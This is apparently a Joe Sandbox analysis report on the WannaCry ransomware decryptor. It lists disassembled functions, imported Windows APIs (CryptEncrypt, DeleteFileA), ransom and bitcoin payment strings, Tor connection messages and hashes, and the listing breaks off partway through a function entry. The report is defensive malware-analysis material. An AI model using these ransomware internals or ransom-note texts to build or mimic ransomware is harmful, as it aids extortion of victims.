                                                                                                                          • String ID: %08X.dky$Congratulations! Your payment has been checked!Start decrypting now!$Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.$You have a new message:
                                                                                                                          • API String ID: 2207195628-1375496427
                                                                                                                          • Opcode ID: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                                                                                                          • Instruction ID: 8b94a0d45af64711c1f2f56a46f7a966efbefe6460f93d7d0814001cf74dce0a
                                                                                                                          • Opcode Fuzzy Hash: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                                                                                                          • Instruction Fuzzy Hash: 1D41F371244740EFC330DB64C895BEB7699AB85710F404A3EF25AA32E0DABC5944CB6B
                                                                                                                          Function 004012E0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 202fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • sprintf.MSVCRT ref: 00401323
                                                                                                                          • sprintf.MSVCRT ref: 00401339
                                                                                                                          • GetFileAttributesA.KERNEL32(?), ref: 00401343
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040139A
                                                                                                                          • fread.MSVCRT ref: 00401405
                                                                                                                          • fclose.MSVCRT ref: 00401408
                                                                                                                          • sprintf.MSVCRT ref: 00401440
                                                                                                                          • fopen.MSVCRT ref: 00401453
                                                                                                                            • Part of subcall function 00404690: DeleteCriticalSection.KERNEL32(?,004015D8), ref: 0040469A
                                                                                                                          • fopen.MSVCRT ref: 004013D5
                                                                                                                            • Part of subcall function 00404640: InitializeCriticalSection.KERNEL32(?,?,0040158C), ref: 00404658
                                                                                                                            • Part of subcall function 004047C0: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                                                                                                            • Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 004048EB
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: sprintf$CriticalDeleteFileSectionfopen$AttributesCryptEncryptInitialize_local_unwind2fclosefread
                                                                                                                          • String ID: %08X.dky$%08X.eky$%08X.pky$%08X.res$00000000.res$s.wnry
                                                                                                                          • API String ID: 2787528210-4016014174
                                                                                                                          • Opcode ID: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                                                                                                          • Instruction ID: 5d668cda142e4e69bdcb8de65b1bf6b3866dc1aa9a0cfc7ced8feefa58b75360
                                                                                                                          • Opcode Fuzzy Hash: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                                                                                                          • Instruction Fuzzy Hash: 8A71BFB1104741AFD320DB60CC85FEBB3E9ABC4310F404A3EE59A87290EB78A4498B56
                                                                                                                          Function 004076A0 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 239windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • time.MSVCRT(00000000,?,?,?), ref: 004076DA
                                                                                                                          • sprintf.MSVCRT ref: 0040780E
                                                                                                                          • SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
                                                                                                                          • SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
                                                                                                                          • #540.MFC42 ref: 00407876
                                                                                                                          • _ftol.MSVCRT ref: 004078AA
                                                                                                                          • #2818.MFC42(?,$%d,00000000), ref: 004078BE
                                                                                                                          • #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
                                                                                                                          • #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
                                                                                                                          • #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
                                                                                                                          • #3092.MFC42(00000402,?), ref: 0040791D
                                                                                                                          • #6199.MFC42(00000402,?), ref: 00407924
                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001,00000402,?), ref: 0040795A
                                                                                                                          • #800.MFC42 ref: 0040799F
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2818$MessageSend$#3092#540#6199#800InvalidateRect_ftolsprintftime
                                                                                                                          • String ID: $%d$%.1f BTC$%02d;%02d;%02d;%02d$00;00;00;00$Send $%d worth of bitcoin to this address:$Send %.1f BTC to this address:
                                                                                                                          • API String ID: 993288296-3256873439
                                                                                                                          • Opcode ID: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                                                                                                          • Instruction ID: 9b53b323f570066dafa0cf34324f53a17123da88a1e7ff32529d6bfb7c89d06c
                                                                                                                          • Opcode Fuzzy Hash: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                                                                                                          • Instruction Fuzzy Hash: 3281D4B1A043019BD720DF18C981FAB77E9EF88700F04893EF949DB395DA74A9058B96
                                                                                                                          Function 00405E10 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 144COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E4F
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E71
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E93
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405EB5
                                                                                                                            • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F2F
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F93
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FA9
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FB9
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FC9
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FD9
                                                                                                                          • #781.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FE9
                                                                                                                            • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                                                                                                            • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                                                                                                            • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                                                                                                            • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                                                                                                          • #654.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406066
                                                                                                                          • #765.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406072
                                                                                                                            • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                                                                                                            • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                                                                                                          • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406092
                                                                                                                          • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060A2
                                                                                                                          • #616.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060AF
                                                                                                                          • #641.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060BE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414$#800$#609#654#765#795$#616#641#781
                                                                                                                          • String ID: #
                                                                                                                          • API String ID: 2377847243-1885708031
                                                                                                                          • Opcode ID: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                                                                                                          • Instruction ID: 200a364df958368678b01019567048f7f095356612ddb79f46c50176d87071e4
                                                                                                                          • Opcode Fuzzy Hash: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                                                                                                          • Instruction Fuzzy Hash: C4710A74008782CED305EF65C0453DAFFE4AFA5348F54484EE0DA57292DBB86299CBE6
                                                                                                                          Function 004032C0 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 114windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 004032C5
                                                                                                                          • CreateSolidBrush.GDI32(?), ref: 004032DC
                                                                                                                          • #1641.MFC42(00000000), ref: 004032E9
                                                                                                                          • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00403316
                                                                                                                          • #1641.MFC42(00000000), ref: 0040331F
                                                                                                                          • #3092.MFC42(00000408,00000000), ref: 0040332B
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040334A
                                                                                                                          • #3092.MFC42(00000409), ref: 00403353
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040336C
                                                                                                                          • #3092.MFC42(00000002), ref: 00403372
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040338B
                                                                                                                          • #3092.MFC42(0000040E), ref: 00403394
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 004033A9
                                                                                                                          • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004033C2
                                                                                                                          • #3996.MFC42(00000000,Path,00000000,000000FF,000000FF), ref: 004033D4
                                                                                                                          • SendMessageA.USER32(?,0000101E,00000000,000001F4), ref: 004033EC
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#3092$#1641Create$#3996#4710BrushFontSolid
                                                                                                                          • String ID: Arial$Path
                                                                                                                          • API String ID: 2448086372-1872211634
                                                                                                                          • Opcode ID: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                                                                                                          • Instruction ID: b960ea7794e319caf0268359e71fff6d42033abaa4d887be80586a06fbef81fd
                                                                                                                          • Opcode Fuzzy Hash: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                                                                                                          • Instruction Fuzzy Hash: 4831D5B13907107BE6249760CD83FAE6659BB84B10F20421EB756BF2D1CEF8AD41879C
                                                                                                                          Function 00406AE0 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 78COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#537#924sprintf$#3874#540AttributesFile
                                                                                                                          • String ID: English$m_%s.wnry$msg\
                                                                                                                          • API String ID: 3713669620-4206458537
                                                                                                                          • Opcode ID: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                                                                                                          • Instruction ID: 3ad7a17867ea9436e9d42ea8b12d154e8c58dea708134770199309aae3637b36
                                                                                                                          • Opcode Fuzzy Hash: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                                                                                                          • Instruction Fuzzy Hash: 4A316170108341AEC324EB25D941FDE77A4BBA8714F404E1EF59AC32D1EB789558CAA7
                                                                                                                          Function 00402C40 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
                                                                                                                          • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
                                                                                                                          • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
                                                                                                                          • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
                                                                                                                          • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
                                                                                                                          • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                                                          • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                                                          • API String ID: 2238633743-1294736154
                                                                                                                          • Opcode ID: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                                                                                                          • Instruction ID: a2b5d8bb757b14b28e15fb80ad1863100e1319e91a413c2d323d0fcc62a15203
                                                                                                                          • Opcode Fuzzy Hash: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                                                                                                          • Instruction Fuzzy Hash: AA110334B423216BD734AB25BD58FA72695EFD4701795003FA801E76E1D7B89C42CA5C
                                                                                                                          Function 00405580 Relevance: 27.2, APIs: 18, Instructions: 187windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5785CreateDeleteObjectRect$#1168#1640#2405#2860#323#470#640#755BrushClientCompatibleFillSolid
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1233696098-0
                                                                                                                          • Opcode ID: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                                                                                                          • Instruction ID: b627e9c1237585dd637a27707791d59f98fdace04f8481d3914a5fbe5096edf5
                                                                                                                          • Opcode Fuzzy Hash: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                                                                                                          • Instruction Fuzzy Hash: 057135716087419FC324DF69C984AABB7E9FB88704F004A2EF59AC3350DB74E845CB66
                                                                                                                          Function 00408D70 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 257COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: _ftol$CapsDevice$#2414$#1641#2754BrushCreateFillRectSolid
                                                                                                                          • String ID: DZA
                                                                                                                          • API String ID: 2487345631-3378329814
                                                                                                                          • Opcode ID: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                                                                                                          • Instruction ID: dda82c2241e8f2351b86cfb5efeedf8da928c70a362fdc9ee550b763b14e0e54
                                                                                                                          • Opcode Fuzzy Hash: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                                                                                                          • Instruction Fuzzy Hash: 2CA147716087418FC324DF25C984AAABBE1FFC8704F148A2EF599D7291DA39D845CF86
                                                                                                                          Function 00401600 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 120windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2385.MFC42 ref: 00401653
                                                                                                                          • #537.MFC42(Received response), ref: 00401634
                                                                                                                            • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                                                                                                            • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                                                                                                            • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                                                                                                          • #537.MFC42(Succeed), ref: 0040166F
                                                                                                                          • #2385.MFC42(?,?,?,Succeed), ref: 00401684
                                                                                                                          • #537.MFC42(Sent request), ref: 0040169F
                                                                                                                          • SendMessageA.USER32(?,00000402,00000023,?), ref: 004016BA
                                                                                                                          • #2385.MFC42 ref: 004016D3
                                                                                                                          • #537.MFC42(Connected), ref: 004016F5
                                                                                                                          • SendMessageA.USER32(?,00000402,0000001E,?), ref: 00401710
                                                                                                                          • #2385.MFC42 ref: 00401729
                                                                                                                          • #2385.MFC42(?,?,?), ref: 0040174C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2385$#537$MessageSend$#3092#6199#800
                                                                                                                          • String ID: Connected$Received response$Sent request$Succeed
                                                                                                                          • API String ID: 3790904636-3692714192
                                                                                                                          • Opcode ID: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                                                                                                          • Instruction ID: e9690c31fbc1831b63af9a5cc079f352e9ea826ed21b4fe1124c0ccffc889961
                                                                                                                          • Opcode Fuzzy Hash: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                                                                                                          • Instruction Fuzzy Hash: A631E8B130430067C5209F1AD959EAF7B69EBD4BB4F10852FF149A33D1CA795C4582FA
                                                                                                                          Function 00404DD0 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 89windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 00404DD5
                                                                                                                          • CreateSolidBrush.GDI32(?), ref: 00404DE9
                                                                                                                          • #1641.MFC42(00000000), ref: 00404DF3
                                                                                                                          • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00404E1D
                                                                                                                          • #1641.MFC42(00000000), ref: 00404E26
                                                                                                                          • #3092.MFC42(00000403,00000000), ref: 00404E32
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E51
                                                                                                                          • #3092.MFC42(00000001), ref: 00404E57
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E70
                                                                                                                          • #3092.MFC42(00000002), ref: 00404E76
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E88
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E9F
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#3092$#1641Create$#4710BrushFontSolid
                                                                                                                          • String ID: Arial
                                                                                                                          • API String ID: 1126252797-493054409
                                                                                                                          • Opcode ID: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                                                                                                          • Instruction ID: f8dd995afa615cab71677879a74d6ff7c2e305333cbfc3da3be905e2a6067967
                                                                                                                          • Opcode Fuzzy Hash: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                                                                                                          • Instruction Fuzzy Hash: CC21C6B13507107FE625A764DD86FAA2759BBC8B40F10011EB345AB2D1CAF5EC41879C
                                                                                                                          Function 00406DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
                                                                                                                          • #823.MFC42(00000001,?,?), ref: 00406DEC
                                                                                                                          • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
                                                                                                                          • _strnicmp.MSVCRT ref: 00406E3E
                                                                                                                          • _strnicmp.MSVCRT ref: 00406E5A
                                                                                                                          • SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
                                                                                                                          • #6136.MFC42 ref: 00406EC4
                                                                                                                          • #825.MFC42(?), ref: 00406ED7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
